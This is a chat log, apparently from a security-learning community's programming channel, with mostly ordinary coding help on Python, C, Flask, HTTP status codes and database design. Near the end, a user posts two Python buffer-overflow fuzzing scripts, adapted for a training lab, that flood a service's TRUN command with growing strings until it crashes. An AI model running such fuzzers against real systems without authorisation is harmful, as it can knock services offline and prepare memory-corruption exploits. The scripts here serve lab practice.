programming

[cursive orchid]

probs just use selenium

[magic falcon]

i've used beautiful soup to extract and scrape data, would recommend.

[onyx merlin]

Can you get images of the page out of that though?

[magic falcon]

hmm - I don't know. I never tried

[onyx merlin]

I think there's a firefox headless command that makes it easy to screenshot pages but I can't remember

[magic falcon]

At the time, I was mostly scraping multi page tables

[magic falcon]

firefox -screenshot <name> <url> ?

[onyx merlin]

Probably

[remote echo]

Chrome also has --screenshot

[solar palm]

selenium could also be what you want

[cursive orchid]

yeah i'm just using selenium

help

encoding will be the death of me

[solar bay]

end=""?

[tulip ibex]

the end is near

[tulip ibex]

also that theme looks so awesoem lol

[steel vigil]

hey, I tried to install "python-tools" package on linux, can someone help me with that pls?
"python-tools was unable to find your machine's python executable.

Please try set the path in package settings and then restart atom."
"Error: spawn python ENOENT"

[flint steeple]

Do as the error says and set your path in your .bashrc or .zshrc or .profile or whatever it is you are using. If you are not sure do a ls -al in your home directory to see which file you have

[steel vigil]

I’ve already solved it thanks

[dire loom]

Hey! Quick question: If i use the function fgetc() in C should it not return a hexidecimal between 0x00 and 0xFF? I have tried but it seems to return values up to 0xFFFFFF

[hollow tangle]

fgetc returns an int so anywhere between 0x0-0xFFFFFFFF

[dire loom]

ah okey... so can I tell it to be an unassigned char like unassigned char = fgetc(fp); and it will only get one byte of data? or will just chop off 3 bytes from the returned int?

[hollow tangle]

Typcasting it will just cut off the 3 most significant bytes

It will most of the time be fine to typecast it to a char or unsigned char for fgetc

[sly breach]

xpost sorry Mods! #resources message

[digital hull]

not sure where to ask this, but I'm using ZAP and I want to make a script/API that automates generating a bunch of random names from an online random name generator and puts the names in a csv file. Any ideas of where to start? I know something similar can be done using Burpsuite but I'm more familiar with ZAP

this is the first time I'm doing this sort of thing and I don't really know where to begin. Doing it in Python which I'm proficient in, I just don't know how to automate something like this

[feral pollen]

help me

how to get time create file using C

follow format dd/mm/yy

[burnt elbow]

hello

can someone give me a hand with a python problem?

[glad trail]

Ask

[burnt elbow]

i cant send the .py

[glad trail]

Well....yeah lol

What are you having difficulty with?

[burnt elbow]

i need to create and activy

like a tour

and then create a function that searches fot the activity

def buscar_actividad_por_nombre(mat_actividades, nombre):
salida = []

# FIXME colocar algoritmo de operacion

for actividad in mat_actividades:
    if( actividad != [] and actividad[0] == nombre):
        
        
        return salida

def crear_actividad(mat_actividades, nombre, hora_apertura, cantidad_horas, cant_personas_por_hora):
salida = False

# FIXME colocar algoritmo de operacion

actividad_3 = crear_actividad(mat_actividades, 'Museo Historia del Arte', 12, 5, 20)

return salida

sorry is in spanish

[glad trail]

This looks like homework?

[burnt elbow]

its a project that i send this morning

it was homework

[frozen dragon]

hey guys im trying to do my first fizzbuzz script

for i in range(101):
    if i% 3 == 0:
        print(str(i) + "fizz")
    if i% 5 == 0:
        print(str(i) + "buzz")
    else:
        print(str(i))

[brazen eagle]

not quite

it should replace the number when %3 and %5

[onyx merlin]

And you need fizzbuzz for both

[mossy glacier]

just take if and else..........and if i%2==0...print fizz...else buzz

[solar hull]

It almost does it by fizzing and buzzing, but not fizzbuzzing

[brazen eagle]

yeah but that formulation should take care of it

oh wait no

missed the print

[onyx merlin]

Yeah exactly

[brazen eagle]

I'm tired 😦

[naive tartan]

In terms of cyber security I understand I don’t need to know programming but what should I learn. I thought python would suffice but I see a lot of skilled pentesters not only reading and understanding but writing original scripts and exploits in multiple languages such as JavaScript, python and even able to completely read php and other languages so. In terms of programming, what languages would benefit me the most starting out? I’m looking to learn a few as a short term goal. As I am right now even python is hard to read, let alone understand.

[stone kayak]

learn the concepts of programming and you can pick up most languages pretty easily

like I don't "know" Go, but I can code in it because it's similar to other languages I've used 😄

[naive tartan]

So like learning one language, I can then translate those concepts into other languages?

[bright sleet]

pretty much, for example if you need to generate a txt file with numbers from 0000 to 9999 you know you can do 4 loops one inside eachother for example. in c it will be for(...), in python its for i in range

[plain path]

would it be okay for me to learn C++ first instead of C? usually when im learning a language from the ground up, for the beginning I like to go to codecademy but they only have C++ course. I already know python and assembly, so C/C++ is like a middle child between those two if my impression is correct

or is it always recommended to start with C?

[naive tartan]

From my understanding c++ is one of the hardest languages to learn but you already know 2 so

That didn’t help your question I feel like lol

[tidal panther]

c++ isn't that difficult, just takes practice

[tulip sail]

Aye -- go for it

C++ is just C with OOP added in

[plain path]

right, thanks

[wispy kestrel]

Gave +1 Rep to @tulip sail

[naive tartan]

How many languages do you know muir?

[tulip sail]

Python, C# and C++ are my go-to languages.
I am very comfortable in PowerShell, Bash, JS, and PHP. Less comfortable but still happy using C and Nim.
I can use Go, Rust, Ruby, Haskell and Ocaml if I need to.
There are a bunch more that I've used once or twice and can identify syntax/structure, but am not really proficient in, plus no doubt a few I've forgotten from the lists above

It's not really about the languages you know. Once you're familiar with programmatical thought processes, it's very easy to pick up any language you need.

[lilac holly]

wow

thts-

a lot

[naive tartan]

Idk why I expected anything less especially from someone with the two certs you have

Also trilium is a lot to take in so i will be sticking with sublime for now, until I am more comfortable

[lilac holly]

if u dont mind me asking, wen did u learn all of those?

like in college or did u start in high school?

[tulip sail]

I had a bit of Python before leaving secondary school, and got taught C++ in uni. Everything else I've just picked up as and when I needed it 🤷‍♂️

C# and PowerShell are used a lot in Windows exploitation stuff, so I've had to learn them well. PHP and JS I learnt doing room dev. Bash just from immersing myself in Linux.

[lilac holly]

wow, so u were actually only taught c++, everything u learnt on ur own, while doing ur job

damn

im honestly amazed, impressed

[tulip sail]

Once you know how to think programmatically, language is just syntax 🤷‍♂️

It's the logic that matters

[lilac holly]

how long did it take u learn for ex any major lang

ik my q r prolly annoying for u but im sry im just mind blown rn

[tulip sail]

Like:
Bash:

for i in $(cat file.txt); do
  echo $i
done

Python:

with open("file.txt") as handle:
  for i in handle.readLines():
    print(i)

Open a file, print each line. Bash and Python, so two different languages, but so similar

[lilac holly]

since ive learnt python before the python thing makes sense to me but bash just melts my brain lmao

[lilac holly]

makes sense

[lilac holly]

?

cause even memorising the dif syntax for commands has to have taken time right

[tulip sail]

C++ I've been learning for a couple of years. Python I already had a grounding in before coming to uni two years ago (so, probably four or five years), but I only really started to learn it properly a year and a half or so ago.

C#, a few months

PowerShell a bit longer -- a year, maybe?

That's not the time taken to learn though -- that's how long I've been using them

They should only take a few hours to get comfortable with basic syntax, if that

[lilac holly]

no like, for python u r using completely dif commands as compared to bash, but it only took u a few hrs to get used to the dif snytax and commands?

https://tenor.com/view/patrick-star-spongebob-squarepants-wow-mindblown-gif-13169052

[tulip sail]

When you're learning a new language it's just a lot of Googling. Once you've done something once, you just do it again

[lilac holly]

i sound like a annoying 9yr old

sry if this is annoying

[lilac holly]

ic

[tulip sail]

The time taken to learn variables, garbage collection, loops, and some of the quirkier fundamentals of each language, isn't long

Then there's the more esoteric stuff though

For example:
C++:

bool val = a > b ? true : false;

Python:

val = True if a > b else False

Ternary statements in two languages. Neither of those are strictly necessary for using either language -- they're just a way to condense code.

You wouldn't necessarily want to learn them in the first few hours

Tbf, those could also be shortened even more though -- that's just an example

[onyx merlin]

Ternaries are really just showing off

[tulip sail]

Precisely 😆

[onyx merlin]

If used incorrectly, they make the code super unreadable

[tulip sail]

In that scenario you'd also do:

bool val = a > b;

val = a > b

Anyway

[lilac holly]

can u also write the python part as:
print val if a > b
and then take if val is printed or not for the further code?

[tulip sail]

And yes, also true. They're not something you'd want to learn in the first few hours because they have a limited use case

[lilac holly]

yea tht just doesnt make sense to my brain

[lilac holly]

for learning a new lang, whts ur pref or recommendation?

[tulip sail]

Not easily -- you'd have to monitor stdout. Probably doable, but why you'd do that, I don't know 🤷‍♂️

[onyx merlin]

No, you cannot

[lilac holly]

yt or a particular site?

[tulip sail]

You'd need the else in there for Python

[lilac holly]

yea

[onyx merlin]

Then that's just a ternary

[tulip sail]

Exactly 😆

[lilac holly]

i didnt write the full thing cause i thought ud understand anyway

[lilac holly]

lol

[tulip sail]

Learn a language when you have a project that's suited to it. Then just Google what you need to know 🤷‍♂️

There's no point in learning the language before you need it

[lilac holly]

wht i meant was would it work like tht as well

[lilac holly]

ic

[lilac holly]

so basically i should learn nothin rn?

[tulip sail]

Learn to think programmatically right now. That's the important bit

Most people do that by learning a language though, yes

[onyx merlin]

Learn and understand:
-Iteration
-Sequence
-Selection

Not in that order

[lilac holly]

im a freshman in highschool rn and i dont really need anything but i just enjoy learning stuff like programming, penetration etc

[lilac holly]

lol

ty for ur time

[tulip sail]

Np 🙂

[naive tartan]

W3schools is always a good go to for me

Learncpp com is a good site for cpp, it was just a lot of reading and not much interaction so it felt like hell for me to learn it that way

Both are free sites with minimal to no ads. JavaScript org isn’t free but the tutorial really got me interested in JS. The way they teach it was really fun way for me to learn. I wish other sites used the same way to teach. It’s why I love THM so much, they use a similar style of teaching

[brazen eagle]

you mean "if used".

[onyx merlin]

Short conditions with ternaries can be nice

[brazen eagle]

yeah I know

they're still a pain to read in general

nice in C for directly assigning the value though

[brazen eagle]

Also basic data structures, and the differences between objects and dictionaries

looking at you, Javascript

[magic falcon]

a dictionary is a type of object though

[onyx merlin]

So's a string, sometimes

[magic falcon]

It's always a string whenever it makes the least amount of sense for it to be a string

[plain path]

why is it throwing this? am I referencing the get-service object in the wrong way?

nvm figured it out

have to use built-in method

for $RetrievedService object

[naive tartan]

Anyone know a good place to learn bash scripting? I found a few sites but they are all paid.

[magic falcon]

Best way to learn bash is to do sysadmin stuff. Start automating tasks you find you do more than once in linux

[neon tapir]

https://wiki.bash-hackers.org/start i think i liked this when i first started making longer scripts

[naive tartan]

Hmm I’ll look into that thank you. For me so far it’s only update, upgrade, and vpn to THM I do every time I boot up. One minor reason I prefer sublime over trilium text editor is I only type subl vs having to cd into trilium directory and then ./trilium. Is there a script I can write to change this?

[wispy kestrel]

Gave +1 Rep to @magic falcon

[magic falcon]

Is that to run a Trilium notes server instance? For sure, look into how to set working directory and environment variables inside a script.

So one of the things that would probably be useful for you: figure out how to daemonize the trilium server - and what the config should be to present it as a local only server, as a server accessible by your network, and maybe what you would need to containerize it. That last one is probably going to require a lot of learning, depending on how much containers you already know

Another thing you may find useful: .desktop entry files

[naive tartan]

I’ll look into it thank you again 🙂

[wispy kestrel]

Gave +1 Rep to @magic falcon

[lilac holly]

lmfao

[true current]

Any helps to get into codewars. I visited some websites like hackerearth and i got alot confused. So any tips how to start, what to keep in mind when starting?

[stone kayak]

Start with the easy ones like TwoSum and work ya way up:)

[frank wyvern]

maybe a stupid question but. what would be recommended programming language to learn that might be of use when doing CTFs and general security stuff. I know Java and Python. What should I learn next? C? Javascript? PHP? C#?
I guess the answer would be "depends on what you wanna do?", but im thinking maybe there is something to be said about what language generally is useful, like python, since many tools / scripts are written in that?

[inland hazel]

ruby would maybe be helpful if you plan to use metasploit a decent amount
php for some types of hacking webservers is nice too
C will give you a deeper understanding of how computers work and can lead you closer to machine code

@frank wyvern ⬆️

[brazen eagle]

Bash is always useful

Powershell for Windows as well

[plain path]

I understand what RPC is on a surface level but its not quite setting in, perhaps someone kind and knowledgable would explain RPC / MSRPC to me more from a programming angle so I would get an idea of the a practical example in code

is it like an API call?

nvm I kinda figured it out

[deep ridge]

Hi guys I'm new to programming and need some advice.
So I've been learning python for a quite some time and watching YouTube videos (like the courses on FreeCodeCamp) and other videos that teach how to code small projects like (blackjack and  hangman ) and I understand how and why the code works but when it comes to programming even a smaller project without looking up the whole code for it I can't do it.
Its like I don't even know anything about python.
So do you guys have any advise or suggestions for me ?
Thanks

[magic falcon]

Do smaller projects

Pick a process that you already are familiar with, or that you use regularly. Dungeons and Dragons players who learn programming, for example, often make a character generator project.

Other common projects are to implement a board game or card game that you know well

Like 5 card draw, blackjack, mancala

[deep ridge]

Like I have to know how something works in detail

So I I dont know how to play black jack

I cant programme it

?

[deep ridge]

If i

[magic falcon]

Programming is a technical description of how a process works. If you don't understand a process in real-world terms, how could you define it in terms of a program?

[deep ridge]

True

So what is the first thing I can do when I want to programme something

Like writing the steps on a piece of paper

Or something

[magic falcon]

Whatever helps you keep track of what you want to do

As a beginner, a flowchart or written steps is enough

Avoid trying to solve for both process and implementation at the same time until you have a much better set of programming idioms

[inland hazel]

rock papper scissors is one of the good small projects shadow did

or just making small functions that calculate mathimatics

like conversions of seconds into hours and minutes and remaining seconds is a good first task too

[dire vortex]

does anyone here have experience with the perl IO::Pty module

use IO::Pty;
$pty = new IO::Pty;
$slave  = $pty->slave;
foreach $val (1..10) {
    print $pty "$val\n";
    $_ = <$slave>;
    print "$_";
}
close($slave);```

just curious how that works

[magic falcon]

https://metacpan.org/pod/IO::Pty

[dire vortex]

yeah, that's what it's from

I have zilch perl experience, and was wondering if someone could enlighten me

[magic falcon]

do you know what a tty is?

[dire vortex]

the terminal that stdin is directed to?

[magic falcon]

so that's a good start.

Your next step is to go look at basic PERL syntax to understand the print command

[dire vortex]

ah, sorry, I'm not asking quite the right question

use IO::Pty;
$pty = new IO::Pty;
$slave  = $pty->slave;

tty = <$slave>;
exec "$tty";

close($slave);```

I think the bit which is confusing me is the = <$slave>; part

could something like that execute with tty

I'm just curious as to how IO:Pty assigns the "$slave" to a string, or object

[calm ravine]

Hi,

Does anyone know how to add a timer to a CBT examination in HTML?

[lilac holly]

do uk python 1st?

dont learn projects directly

1st learn the commands, syntax etc

if u want i can tell a few sites to learn tht from

learn projects from yt after u learned commands, syntax etc and can do basic stuff 1st

[fickle siren]

Assembly Language, C probably go or c++

[desert thorn]

Anyone know good places to learn programming languages? Python, Java, Assembly, C, etc

Wanting to learn Python and Java first

[inland hazel]

shadow tended to use project euler to learn more about the languages when they got the basics down.... but dunno where to get the basics for python

maybe codecademy.com might be good enough for basics

[desert thorn]

I know some basics about both, just wondering if there's a site or whatever which I can use to get some what fluent

Alright thanks dude

[magic falcon]

Learn 1 language first. Once you have a reasonable amount of knowledge (can develop a basic CLI application), then it makes sense to start branching out.

[alpine mesa]

What is the borderline between learning how to code/program for penetration testing vs. software development? Is the software development much broader with languages compared to penetration testing?

[inland hazel]

yeah software engineers and developers have to have a much wider understanding and create all types of software

while for penetration testing you can get a long distance with more simple scripts and loops

while in software development you get to make algorithms and also try and implement security features to avoid the pentesters from getting access eventually

[alpine mesa]

Hmmmm I see. Thanks so much, @inland hazel . Appreciate your response. 🙂

[wispy kestrel]

Gave +1 Rep to @inland hazel

[inland hazel]

no problem... it is a valid and good question

some companies though don't want you to spend time implementing security features which can be a warning signal

[magic falcon]

That's not necessarily true. Security features are a function of business requirements of the software. The stakeholders set the requirements, not the implementation team.

[inland hazel]

true juun shadow did not specify who in the company set said rules though but it can be stake holders who are not directly part of the company too

[magic falcon]

I wouldn't say they are separate. Programming doesn't magically change into a different activity because the use-case is different. The mindset is the same, but the application of knowledge just has a different end.

[onyx merlin]

IMO the best thing you can do for either is to learn the logical thinking and problem decomposition

[alpine mesa]

Thank you guys for your inputs. I asked this question in quora, but no one answered. So I tried here. Thanks much. Appreciate it.

[crude chasm]

i wish this was true for smaller organizations 🙂

[fickle siren]

exercism

HackerRank too. Haven't tried it though.

[desert thorn]

Thank you

[fickle siren]

https://exercism.org/

There's also freecodecamp. Attempt only the projects if you feel confident in the basics.

The best way to learn a programming language AND have something to show for it is by making a project and posting it on your github.

Hope that helps.

[inland hazel]

thanks for the tips and alternatives to choose from... will look into these more later

[fickle siren]

No prob. CS50's problem sets are also good projects spanning C, python and web dev.

[lament lodge]

Hi, Everyone

[onyx merlin]

What do you mean?

[brazen eagle]

I like codingame

[pallid oriole]

Statistics are often calculated with varying amounts of input data. Write a program that takes any number of non-negative integers as input, and outputs the max and average. A negative integer ends the input and is not included in the statistics.

Ex: When the input is:

15 20 0 5 -1

the output is:

20 10

#include <stdio.h>
#include <math.h>

int main(void) {
   int input;
   int temp;
   int runs = 0;
   
   while (input >= 0) {
      scanf("%d", input);
      temp += input;
      }
   
   return 0;
}

[lilac holly]

hi

what do i have to do? this isn't working

i have pip installed i guess

but this doesn't work

and i've already done pip install pandas in cmd

any help is appreciated

[warped axle]

Prettu sure its panda and not pandas

Check the paxkage names

@lilac holly ^^

No idea other than that

[true pumice]

You have really said what isn’t working:)

[true pumice]

https://pypi.org/project/pandas/

[warped axle]

These names man

So confusing

[lilac holly]

no hablo ingles

[true pumice]

You’re in an English speaking discord 🤷‍♂️

[lilac holly]

Me no speak English very good, me try best will have done

[true pumice]

It’s interesting that your message history tells a different story

[lilac holly]

que?

[true pumice]

Alright, well, if you want to pretend you don't know how to speak English, I would like to apologise for taking the time and effort to attempt to help you 🙂

[tulip sail]

-mute @lilac holly 2d Had enough of the trolling. Think long and hard about why you're here and the environment you're in please.

[wispy kestrel]

🔇 Muted basedcpp#6611 for 2 days

[fickle siren]

Lmao

[lilac holly]

Anyone looking to become a mentor in python or csharp? 👀

[west turtle]

q

[tired ether]

Anyone have experience writing OpenMP in C and want to help me find a race condition 🥲

[brazen eagle]

Good luck

[plain path]

I wasnt able to google this. The red portion, are they called "comments" or is there something more specific to call them in assembly. and also, are these "comments" auto generated by the compiler based on what line of the source code the compiler is translating into machine code or how do those comments even get there

or is that just radare 2 trying to match / guess what the source code is based on the machine code

[brazen eagle]

it's giving some hints as to what the assembly could look like, yeah

[magic falcon]

Best bet is to diagram out what you think should be happening, and design your concurrency from that set of diagrams. Debugging OMP at runtime is going to make you crazy.

When I run into concurrency problems with threading, I usually throw it out and start from scratch.

[plain path]

Another assembly question

Is MOV instruction ctrl+c or ctrl+x?

What I mean by that is if you are doing
MOV rax, rbx (dest, src)
after copying the value from rbx register into rax register, does rbx wipe itself? is there any reason to wipe itself until some value is put into rbx again (like performance improvement reasons or w/e)

I know if its on the stack it will be popped off eventually, and heap you have to manually free up the memory or it will stay there "forever" but what about registers

[magic falcon]

Write some ASM to test. It will take as long to type out as it will be for you to just write a test.

[hardy juniper]

I have a question, I learn by doing and I know WHERE I can learn programming. But I am unable to think of any projects to do on my own to reinforce my learning. Is there somewhere I can go to get programming related project ideas?

[magic falcon]

Euler project.

[hardy juniper]

https://projecteuler.net/ right?

[magic falcon]

Yep

[hardy juniper]

sick! I'll look into it, it's been a hurdle to find things to code (or try to!) Thanks!

[wispy kestrel]

Gave +1 Rep to @magic falcon

[plain path]

will do

[flint steeple]

make a todo list or some type of crud app

[hardy juniper]

I would if I could come up with ideas, but I really struggle with that. there is just so much you can possibly do I don't know where to start

[flint steeple]

The majority of the web is some form of a todo list. If you want something security specific a port scanner is what I used to learn go-lang

[hardy juniper]

python is where I am starting, so maybe recreating some tools or something similar

[flint steeple]

ya thats a good approch

how about when solving thm boxes automating the steps that you do for all of them run nmap, gobuster etc

[hardy juniper]

So break a box and attempt to automate most if not all the steps? Sounds like a plan, and would be pretty dope results when it works

[tired ether]

Hey thanks for the advice. I actually managed to spot the race condition eventually, didn't have to scrap and start over thankfully 🙂 The diagram is a good idea, probably would have saved me a bit of time, I'll know for again

[wispy kestrel]

Gave +1 Rep to @magic falcon

[cursive orchid]

i hate what template engines do to the html 😔 why can't it still be pretty and formatted nicely

[thin lynx]

template engines?

[cursive orchid]

ya

[unreal tendon]

so I am solving an easy code forces coding problem.my code has passed all tests on except for one and I have no idea what is went wrong

problem : https://codeforces.com/contest/999/problem/A

code

n,k = map(int,input().split())
inp = list(input().split())
inp = [int(i) for i in inp]
counter = 0
for i in range(n):
    if inp[0] <= k:
        #delete stuff and increament counter
        inp.remove(inp[0])
        counter+=1
    elif inp[-1] <=k:
        #delete stuff and increament counter
        inp.remove(inp[-1])
        counter+=1
    else:
        break

print(counter)

sample test that runs

8 4
4 2 3 1 5 1 6 4

The test that fails:

100 69

80 31 12 89 16 35 8 28 39 12 32 51 42 67 64 53 17 88 63 97 29 41 57 28 51 33 82 75 93 79 57 86 32 100 83 82 99 33 1 27 86 22 65 15 60 100 42 37 38 85 26 43 90 62 91 13 1 92 16 20 100 19 28 30 23 6 5 69 24 22 9 1 10 14 28 14 25 9 32 8 67 4 39 7 10 57 15 7 8 35 62 6 53 59 62 13 24 7 53 2
output : 56
answer : 39
checker : wrong answer expected '39', found '56'

[covert stirrup]

hello

can somebdy asist me?

[unreal tendon]

@magic falcon I am interested in what have you completed on eular

[brazen eagle]

Your redefinition of inp might be causing shenanigans

[unreal tendon]

ama change it and see what happens

[brazen eagle]

Also I think you're making your life harder than it needs to be

There's a bunch of unnecessary checks

[unreal tendon]

elaborate plz

[brazen eagle]

You'll never be able to read from the left again once that check fails once

So once you start reading from the end, you can skip the beginning check

[unreal tendon]

true

but that doesn't solve the proplem

[brazen eagle]

I'd use a pair of while loops with an index tracker

Modifying a list can be expensive as well

[unreal tendon]

that would do it, but I wanna know what is wrong with this code

[brazen eagle]

Debug it I suppose

Add some print statements

[unreal tendon]

I just made all elements integers

[unreal tendon]

I did that

the problem is it fails on one test out of 6

and I can't find a pattern

[brazen eagle]

Give me half an hour I'm not super available right now

[unreal tendon]

sure take ur time

[brazen eagle]

I'm thinking that modifying your list isn't exactly working as expected

Check that its not removing the first instance of the integer on your second if rather than the last

Eg: suppose the list [1,2,3,2]. Will remove(2) yield [1,3,2] or [1,2,3]?

@unreal tendon

[unreal tendon]

intresting behaviour that I haven't thought about

ill check

[brazen eagle]

since you're dealing with literals and not references it's not that unusual

[unreal tendon]

ill try to explicitly remove elements by refrence and see what happens

mean while

[magic falcon]

Last I checked in with it, I had something like the first 100 problems done. Then life interfered, and I haven't really done anything on project euler for a few years

Think about your order of operations a bit more - and how List.remove actually works in python. Is there any guarantee that multiple problems cannot share the same difficulty rating?

[unreal tendon]

nope there was no gurantee and that was actually the mistake

thanks @brazen eagle @magic falcon

[wispy kestrel]

Gave +1 Rep to @brazen eagle

[magic falcon]

Honestly, there is no need to remove items from the list either.

Keep track of your indexing, and it's pretty trivial to just find the locations that don't meet the minimum satisfaction requirements. Then it's just a matter of doing some math.

[unreal tendon]

true

how about this tho

this is failing too on
5 100
12 34 55 43 21

[brazen eagle]

because you're trying to pop an empty list

or rather access an element in an empty list

[unreal tendon]

shouldn't it output somekind of runtime error rather than zero ?

[brazen eagle]

depends on the language?

[unreal tendon]

oh wait it actually outputted a run time error

[magic falcon]

And the environment.

[unreal tendon]

language is pypy

[magic falcon]

Depending on how the runtime is configured, the same language may have slightly different (although both conformant) implementations.

And it likely won't 'output' the runtime error, because stdio and stderr are different channels.

[brazen eagle]

or pypy doesn't exactly follow the standard, or the standard is not defined

[unreal tendon]

lemme just remove the pops and try again

[unreal tendon]

@brazen eagle is this actually solvable in this configuration with two while loops or does it need 4 ?

[brazen eagle]

I think you can do it in 2

[unreal tendon]

like I need plusindex to be less than n so I don't exceed the array size but also I need to check inp[plusindex] so that I can increment, if I run it like this the first while will whine about the inp[] exceeding array limit so thats why I figured out I need to split it into 2 loops

idk I am sleep deprived and running of coffe since 2 hours past my bed time

ill propably see this tmmrw and laugh of my stupidity

[brazen eagle]

if plusindex >= array size, you can skip the rest

also minusindex is always < n

might want to start it at n and decrement to 0

then do some math somewhere to get the count

[tulip sail]

Dare I ask why you're exiting Vim each time? 😆

[tulip sail]

That's the one 😁

[magic falcon]

@unreal tendon Absolute worst case runtime for that algorithm should be O(n).

[brazen eagle]

Hasn't figured out ! yet

[unreal tendon]

how did you know I am exiting vim lmao

[unreal tendon]

fr I was using ! in a combination with exiting it, I wonder if there is a timed vim history so I can prove that 😂

[unreal tendon]

seems intuitionaly true, but how did you arrive at that conclusion

[sleek pendant]

Hey guys, im looking for some help in html, css and php. I seem to be stuck at a problem. Im trying to get the links to stay active when i click on them. I did that with all of the languages.

<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Spuži Natakar</title> </head> <body> <header> <h1 id='naslov'">Spuži Natakar</h1> <div id='header-links'> <a <?php if($_GET['page']="index.php") { ?> class="active" <?php } ?> href="index.php"><b>O Nas</b></a> <a <?php if($_GET['page']=="ponudba.php") { ?> class="active" <?php } ?> href="ponudba.php"><b>Ponudba</b></a> <a <?php if($_GET['page']=="Posebna-ponudba") { ?> class="active" <?php } ?> href="posebna-ponudba.php"><b>Posebna ponudba</b></a> <a <?php if($_GET['page']=="Naroci-zdaj") { ?> class="active" <?php } ?> href="naroci-zdaj.php"><b>Naroči zdaj</b></a> </div> </header> <?php print_r($_GET) ?> </body> </html>

But the problem is it shows every link as active, can someone please tell me why? Been stuck on this for a while

[brazen eagle]

You only need to traverse the list once

[brazen eagle]

I meant in vim

[brazen eagle]

Have you checked with the browser debugger tools?

[sleek pendant]

yes

ill try a different route now

ill post the solution if i find it

[tulip sail]

I can see your terminal input...

[unreal tendon]

Isee

[thin lynx]

What free tool u guys prefer me for preventing decompilation of the source code in java?
better than pro guard
something at least works against jadx

[solar hull]

If you're going to run the program, the bytecode needs to be available at run time.

And when the bytecode is available, it can de decompiled to source code.

[tulip sail]

If you don't want your program to be decompiled, don't release it to the public

There's not a lot you can do to stop it once it's client side. Any measures you take will be circumvented sooner or later

[solar hull]

Yep - they mainly keep honest people honest.

[tender marten]

Is there a way to put a multi line string into a python variable if the string contains """ and '''? The problem is it that it closes the string before it should

[solar hull]

'""" aa'```

[tender marten]

Would i have to escape all the """?

[tulip sail]

Ultimately, if you're using the same symbol that you used to open a string within the string, you will need to escape it.
i.e. if your multi-line string contains """ and ''', you will have to escape them

[tender marten]

Okay ty

[cursive orchid]

if anyone has experience using flask, and having two forms on one page, i could do with some help 🥺

i have the two forms working independently, however, since (i assume) both forms have a username field, when i submit one form, the other pre-fills the username field

for example, when i typed in jake in the Add Admin - Username field and clicked Add Admin, this happens

has anyone come across this before? or is code needed

[tulip sail]

Give 'em different names and see what happens

Think that's a HTML thing rather than a Flask thing iirc

[cursive orchid]

okok i will try

[magic falcon]

My suspicion is that you are reusing variables names on the template.

[tulip sail]

Sounds like it's a client side thing to me?

Unless the template is dynamically prefilling form values

[cursive orchid]

ah

yeah muir u right

[magic falcon]

described behavior is after clicking 'add' though - so it's got to be something with the POST request being processed, and then being reloaded using new saved data

[cursive orchid]

i changed the admin field to be username_2 and now it only prefills that one

[tulip sail]

Browsers like autofilling fields on the page when you refresh. Two fields with the same name means they both get autofield. I remember running into that when I first got into webdev

A post request to the same endpoint is rendered the same way. I believe posting elsewhere then redirecting back would also solve it

[cursive orchid]

i have them posting to different endpoints

[tulip sail]

That's the neater way to do it anyway

[cursive orchid]

i'll just have username_a and username_b i think, ty ty for figuring it out

[tulip sail]

Are they rendering the page as a response to the post request?

[cursive orchid]

ohh yeah

[tulip sail]

Yeah, so, redirecting back to the original endpoint rather than rendering as a post response would also fix it

[cursive orchid]

ahh okay

[tulip sail]

That's the neater solution

[cursive orchid]

that is something that needs to be fixed too, something was messing up when i tried doing that before

i'll use this workaround for now and if it gets picked up by someone else they can make it pretty

[tulip sail]

Not sure about best practice, but rendering a HTML response to a POST request just feels icky to me

[cursive orchid]

yeah it feels trash loool

[tulip sail]

I try to either return JSON or a 302 redirect back to another endpoint, depending on the Accept request header

[coral rock]

What ide should i use

I programme py and js

[brazen eagle]

Use a 302

[tulip sail]

Vim

[brazen eagle]

Haha

[tulip sail]

That's what I do if it expects a HTML response

[brazen eagle]

Right

Then 401 with a JSON error if unauthorized

If expecting json

[onyx merlin]

I agree

[tulip sail]

If it's a headless client or otherwise expects JSON (I.e. from an API) I give it JSON with another response code

200, 404, 401, 403, 409

Usually

[onyx merlin]

418

[brazen eagle]

Do not return 200 on error

[tulip sail]

Oh heck no

200 for success only

[brazen eagle]

I will find you

[onyx merlin]

I've seen HTTP 451 show up more and more actually

[tulip sail]

451?

[onyx merlin]

Unavailable for legal reasons - usually from people who don't want to be GDPR compliant

[brazen eagle]

You will get nerfed.

[brazen eagle]

Ducking mobile

[tulip sail]

Huh. Didn't know that one

[brazen eagle]

Yeah thats a légal reasons

[brazen eagle]

Bloody keyboard was in french, shoot me now

Sigh I just wrote a function called createNewWorld

[lilac holly]

Im using the python fuzz script from the Buffer Overflow room and i am trying to adapt it to the TRUN command for Vulnserver but im not sure what to change in my code.

import socket, time, sys

ip = "10.0.0.1"
port = 9999
timeout = 5

# Create an array of increasing length buffer strings.
buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        s.recv(1024)
        s.send("USER username\r\n")
        s.recv(1024)

        print("Fuzzing PASS with %s bytes" % len(string))
        s.send("PASS " + string + "\r\n")
        s.recv(1024)
        s.send("QUIT\r\n")
        s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)

[onyx merlin]

Take a look at what it sends now, work out how it sends that, what code sends that

[thin lynx]

Not like that
but something at least works against jadx

[lilac holly]

Well ive worked out it has to do with the s.send.
One is for username and one is for the password so im assuming i just need one of them to send the TRUN command.

[lilac holly]

Ok this seemed to work i think i was having issues with the TRUN command needing the /.:/

#!/usr/bin/env python3

import socket, time, sys

ip = "10.0.2.4"

port = 9999
timeout = 5
prefix = "TRUN /.:/"

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

[cursive orchid]

got a db schema question

i have a User model with id, username, password, access, created_at where access can be candidate or assessor

users with access candidate are able to start their exam so i was thinking about adding a exam_start field to the User model (with a timestamp value)

but then that would mean users with access assessor also have an exam_start field which is redundant

what's the best practise here?

a new Exams model? with id, user_id, exam_start?

[magic falcon]

I would probably break out supplemental info into another table

